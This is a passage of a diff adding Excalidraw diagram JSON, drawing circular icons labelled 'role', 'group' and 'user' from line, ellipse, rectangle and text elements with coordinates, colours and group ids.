"-IhrH0Cj2Y-EUqOOO2u3m", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "role", + "rawText": "role", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "role", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3678, + "versionNonce": 1981530336, + "index": "c0Uc2", + "isDeleted": false, + "id": "a_rumJguAs3uKpQS1Kvcz", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2046.2544435238524, + "y": -433.15342597892004, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 1844072888, + "groupIds": [ + "NiZRcaYiASct-nf7Q2XHg", + "j3zR_9y9dtgybDBgDn7hn", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2524, + "versionNonce": 1118872800, + "index": "c0Uc4", + "isDeleted": false, + "id": "4wPGqE2FwuoU9NNNPbEYy", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2047.4122982916952, + "y": -434.0646275610518, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 287791800, + "groupIds": [ + "NiZRcaYiASct-nf7Q2XHg", + "j3zR_9y9dtgybDBgDn7hn", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "rectangle", + "version": 1523, + "versionNonce": 1929971936, + "index": "c0Uc8", + "isDeleted": false, + "id": "y_vtBFN6NfL3tW7RtPoiJ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2017.39476833965, + "y": -411.6967246137601, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 55.90803130280412, + "height": 58.5684790292792, + "seed": 970671032, + "groupIds": [ + "yUYPZ-5tiDic5ScbjJGln", + "j3zR_9y9dtgybDBgDn7hn", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1470, + "versionNonce": 1119153376, + "index": "c0UcA", + "isDeleted": false, + "id": "PDyxlbi-WaxEAh-arfXU3", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2031.7782566022843, + "y": -400.7471955813503, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 13.58875849780165, + "height": 13.454879103734601, + "seed": 1445596344, + "groupIds": [ + "yUYPZ-5tiDic5ScbjJGln", + "j3zR_9y9dtgybDBgDn7hn", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1916, + "versionNonce": 2068074720, + "index": "c0UcC", + "isDeleted": false, + "id": "aT-hfhcmMjeM7Z9dhNsFP", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2038.6121931276643, + "y": -368.0488053083368, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 31.783543676342507, + "height": 13.918978465213142, + "seed": 1874310584, + "groupIds": [ + "yUYPZ-5tiDic5ScbjJGln", + "j3zR_9y9dtgybDBgDn7hn", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 17.730959244915365, + -0.1808252282475413 + ], + [ + 29.71742581449307, + -0.35305333625780855 + ], + [ + 31.783543676342507, + -4.327489486701453 + ], + [ + 30.340477197762898, + -9.283344928316293 + ], + [ + 17.514688404559408, + -13.918978465213142 + ], + [ + 1.5389341823978422, + -9.202528897948524 + ], + [ + 1.078482143505145, + -5.150240331632775 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1830, + "versionNonce": 877081824, + "index": "c0UcG", + "isDeleted": false, + "id": "H1JqLt1VQPi-6b4b4g8hS", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2024.4406567905648, + "y": -367.6331020636219, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 28.075667542428437, + "height": 13.918978465213142, + "seed": 1000881848, + "groupIds": [ + "yUYPZ-5tiDic5ScbjJGln", + "j3zR_9y9dtgybDBgDn7hn", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 15.662461116289132, + -0.1808252282475413 + ], + [ + 26.250583505750214, + -0.35305333625780855 + ], + [ + 28.075667542428437, + -4.327489486701453 + ], + [ + 26.800949559223167, + -9.283344928316293 + ], + [ + 15.471420486119406, + -13.918978465213142 + ], + [ + 1.3594017367811881, + -9.202528897948524 + ], + [ + 0.9526661476087624, + -5.150240331632775 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1558, + "versionNonce": 323852512, + "index": "c0UcI", + "isDeleted": false, + "id": "TqNavryD4nzd2BcsyE1IL", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2047.247414044987, + "y": -400.8492568547533, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 13.58875849780165, + "height": 13.454879103734601, + "seed": 715106232, + "groupIds": [ + "yUYPZ-5tiDic5ScbjJGln", + "j3zR_9y9dtgybDBgDn7hn", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1254, + "versionNonce": 199720160, + "index": "c0UcK", + "isDeleted": false, + "id": "SgxbLbND", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2024.4050564870208, + "y": -355.8187436217363, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 46.7120725983501, + "height": 22.935001028129516, + "seed": 2025975992, + "groupIds": [ + "j3zR_9y9dtgybDBgDn7hn", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "fontSize": 18.34800082250361, + "fontFamily": 1, + "text": "group", + "rawText": "group", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "group", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3619, + "versionNonce": 530899168, + "index": "c0UcO", + "isDeleted": false, + "id": "6zmdSXl_1NtEQyysPAIMG", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2153.0895981296303, + "y": -439.2805721216446, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 1035147704, + "groupIds": [ + "n5b89DWB23adp7X9pHKv8", + "FeOzbS0ZSXYLfxGBxeR-G", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2465, + "versionNonce": 504743136, + "index": "c0UcQ", + "isDeleted": false, + "id": "oXlhzl6lVBl2Fji56lAvo", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2154.247452897475, + "y": -440.19177370377656, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 2090279608, + "groupIds": [ + "n5b89DWB23adp7X9pHKv8", + "FeOzbS0ZSXYLfxGBxeR-G", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "rectangle", + "version": 1216, + "versionNonce": 1690970336, + "index": "c0UcS", + "isDeleted": false, + "id": "QI0KAHYASeC-WtVTBerKm", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2127.983570936818, + "y": -419.3870531680857, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 55.90803130280412, + "height": 58.5684790292792, + "seed": 873597880, + "groupIds": [ + "nqXVyXVm5I2xrIGWEzeSq", + "FeOzbS0ZSXYLfxGBxeR-G", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1070, + "versionNonce": 525470944, + "index": "c0UcV", + "isDeleted": false, + "id": "B9e-3EptuD58G42Bsy-3F", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2148.013771157405, + "y": -408.98627983078177, + "strokeColor": "#228be6", + "backgroundColor": "#228be6", + "width": 15.996657448855798, + "height": 15.839054912413824, + "seed": 1850201272, + "groupIds": [ + "nqXVyXVm5I2xrIGWEzeSq", + "FeOzbS0ZSXYLfxGBxeR-G", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1427, + "versionNonce": 121467104, + "index": "c0UcX", + "isDeleted": false, + "id": "RIRaRwNngt5sfL5-N24I3", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2137.8484075569004, + "y": -370.3736584025098, + "strokeColor": "#228be6", + "backgroundColor": "#228be6", + "width": 37.415519657918004, + "height": 16.38539168843394, + "seed": 1356627384, + "groupIds": [ + "nqXVyXVm5I2xrIGWEzeSq", + "FeOzbS0ZSXYLfxGBxeR-G", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 20.872847311726073, + -0.21286707206217828 + ], + [ + 34.983290128611515, + -0.41561363256294004 + ], + [ + 37.415519657918004, + -5.094311370938487 + ], + [ + 35.716744884821615, + -10.92833380046255 + ], + [ + 20.61825374087778, + -16.38539168843394 + ], + [ + 1.8116300290520175, + -10.833197342310129 + ], + [ + 1.269586873381446, + -6.062851906429807 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "text", + "version": 1084, + "versionNonce": 605836512, + "index": "c0UcZ", + "isDeleted": false, + "id": "xMClOCPm", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2137.2247833430497, + "y": -361.5036673470804, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 38.30903842838716, + "height": 22.935001028129516, + "seed": 754190008, + "groupIds": [ + "FeOzbS0ZSXYLfxGBxeR-G", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "user", + "rawText": "user", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "user", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3715, + "versionNonce": 192854240, + "index": "c0Ucd", + "isDeleted": false, + "id": "cN9wwWTaR0ww0Upvkfm6z", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2375.925184178266, + "y": -611.8985492437916, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 239.18398837749612, + "height": 240.82472053958986, + "seed": 254963640, + "groupIds": [ + "cVguNy3A9x7hSFvZQ_36E", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -93.3167003202741, + 45.06407479238995 + ], + [ + -115.0760221011569, + 151.8338877728392 + ], + [ + -47.72123988895771, + 235.8729120963148 + ], + [ + 57.05943089673669, + 238.2968966143365 + ], + [ + 124.10796627633923, + 152.1924617057943 + ], + [ + 106.78977397829605, + 54.26839892040008 + ], + [ + 1.982261618725252, + -2.5278239252533674 + ] + ] + }, + { + "type": "line", + "version": 2561, + "versionNonce": 552901856, + "index": "c0Ucf", + "isDeleted": false, + "id": "CIg1jxUddBmxegvDSw1hH", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2378.5183138323664, + "y": -613.939274824505, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 237.14008302680494, + "height": 237.4929700551186, + "seed": 1337702584, + "groupIds": [ + "cVguNy3A9x7hSFvZQ_36E", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -94.57372358807096, + 45.522426652467004 + ], + [ + -117.51138042846135, + 151.7414221748901 + ], + [ + -52.58016721874093, + 236.0814219418638 + ], + [ + 52.580167218741046, + 237.4929700551186 + ], + [ + 119.62870259834358, + 151.38853514657637 + ], + [ + 96.33815872963952, + 45.16953962415332 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2971, + "versionNonce": 1443758304, + "index": "c0Uch", + "isDeleted": false, + "id": "fQhk50M56lgRQi1WSnhhJ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2379.1260486435926, + "y": -575.5370115987366, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 144.92190277638542, + "height": 143.92671664035024, + "seed": 573825464, + "groupIds": [ + "uUnx-6d03TeZPxjMNMvMM", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -57.796235035820374, + 27.587736176233545 + ], + [ + -71.81397860794098, + 91.95912058744518 + ], + [ + -32.132981419168765, + 143.07128296046704 + ], + [ + 32.13298141916884, + 143.92671664035024 + ], + [ + 73.10792416844447, + 91.74526216747438 + ], + [ + 58.8745230029066, + 27.373877756262754 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1278, + "versionNonce": 1784341728, + "index": "c0Ucl", + "isDeleted": false, + "id": "t51vU2iMPryLywhWLArwU", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2349.05238457742, + "y": -505.17947104005225, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 20.902438323372518, + "height": 21.172495666051674, + "seed": 633268920, + "groupIds": [ + "-aYJYkICjoHIR13LLjCIs", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1220, + "versionNonce": 728451296, + "index": "c0Ucn", + "isDeleted": false, + "id": "MV6CMMwgFe47LfDK_tR3y", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2359.530609473374, + "y": -504.8554022288372, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.1882523077885643, + "height": 4.158883077260145, + "seed": 1962988472, + "groupIds": [ + "-aYJYkICjoHIR13LLjCIs", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.1882523077885643, + -4.158883077260145 + ] + ] + }, + { + "type": "line", + "version": 1203, + "versionNonce": 885992672, + "index": "c0Ucp", + "isDeleted": false, + "id": "s_hYZy2Gne7yGuIQ9W5FK", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2366.4980889144977, + "y": -502.9650008300828, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.158883077260126, + "height": 1.566332587539521, + "seed": 907910328, + "groupIds": [ + "-aYJYkICjoHIR13LLjCIs", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 4.158883077260126, + -1.566332587539521 + ] + ] + }, + { + "type": "line", + "version": 1206, + "versionNonce": 806785248, + "index": "c0Uct", + "isDeleted": false, + "id": "HdAOodfr9NIHM3YOg5S_h", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2369.1446508727536, + "y": -494.80926908116976, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 5.455158322120268, + "height": 1.0802293707169108, + "seed": 716785080, + "groupIds": [ + "-aYJYkICjoHIR13LLjCIs", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.455158322120268, + 1.0802293707169108 + ] + ] + }, + { + "type": "line", + "version": 1204, + "versionNonce": 349271264, + "index": "c0Ucv", + "isDeleted": false, + "id": "QF9nrc2Qx3s3tyX5Dak-g", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2367.3082609425355, + "y": -486.7075488007931, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.8626078323999846, + "height": 3.51074545482998, + "seed": 1073204920, + "groupIds": [ + "-aYJYkICjoHIR13LLjCIs", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.8626078323999846, + 3.51074545482998 + ] + ] + }, + { + "type": "line", + "version": 1196, + "versionNonce": 1754257632, + "index": "c0Ucx", + "isDeleted": false, + "id": "mE9r5bLL0z8Y4ARAwbbnq", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2359.260552130695, + "y": -483.8449409683926, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.6481376224303735, + "height": 4.644986294082755, + "seed": 511522744, + "groupIds": [ + "-aYJYkICjoHIR13LLjCIs", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.6481376224303735, + 4.644986294082755 + ] + ] + }, + { + "type": "line", + "version": 1198, + "versionNonce": 2128723168, + "index": "c0Ud", + "isDeleted": false, + "id": "wHI801Boc8jtjM8nMd5Fv", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2352.9412103120007, + "y": -487.57173229736645, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 3.6727798604375725, + "height": 4.158883077260126, + "seed": 980254904, + "groupIds": [ + "-aYJYkICjoHIR13LLjCIs", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -3.6727798604375725, + 4.158883077260126 + ] + ] + }, + { + "type": "line", + "version": 1206, + "versionNonce": 962011360, + "index": "c0Ud4", + "isDeleted": false, + "id": "NRjXOdDWqRgWuuRpKz6fV", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2350.4566827593526, + "y": -494.8632805497059, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 7.075502378195748, + "height": 0, + "seed": 1668065720, + "groupIds": [ + "-aYJYkICjoHIR13LLjCIs", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -7.075502378195748, + 0 + ] + ] + }, + { + "type": "line", + "version": 1202, + "versionNonce": 1199572192, + "index": "c0Ud8", + "isDeleted": false, + "id": "QhIjW5MnDLmadTnMaYQWU", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2354.0754511512546, + "y": -502.6949434874032, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.158883077260126, + "height": 1.0802293707169108, + "seed": 1419686584, + "groupIds": [ + "-aYJYkICjoHIR13LLjCIs", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -4.158883077260126, + -1.0802293707169108 + ] + ] + }, + { + "type": "ellipse", + "version": 1269, + "versionNonce": 1726769376, + "index": "c0UdG", + "isDeleted": false, + "id": "zEyI_ipLPPYa4oklV0Gcs", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2376.253025218308, + "y": -497.3644356380014, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 32.2577331788317, + "height": 32.67449975736946, + "seed": 1151835064, + "groupIds": [ + "xZYGKapNjO9y_b4lgP4oN", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1211, + "versionNonce": 590105824, + "index": "c0UdK", + "isDeleted": false, + "id": "p14LkCYEJs2QuiY5xEFZR", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2392.423568465577, + "y": -496.8643157437559, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.833772945566576, + "height": 6.41820530948328, + "seed": 1974166712, + "groupIds": [ + "xZYGKapNjO9y_b4lgP4oN", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + 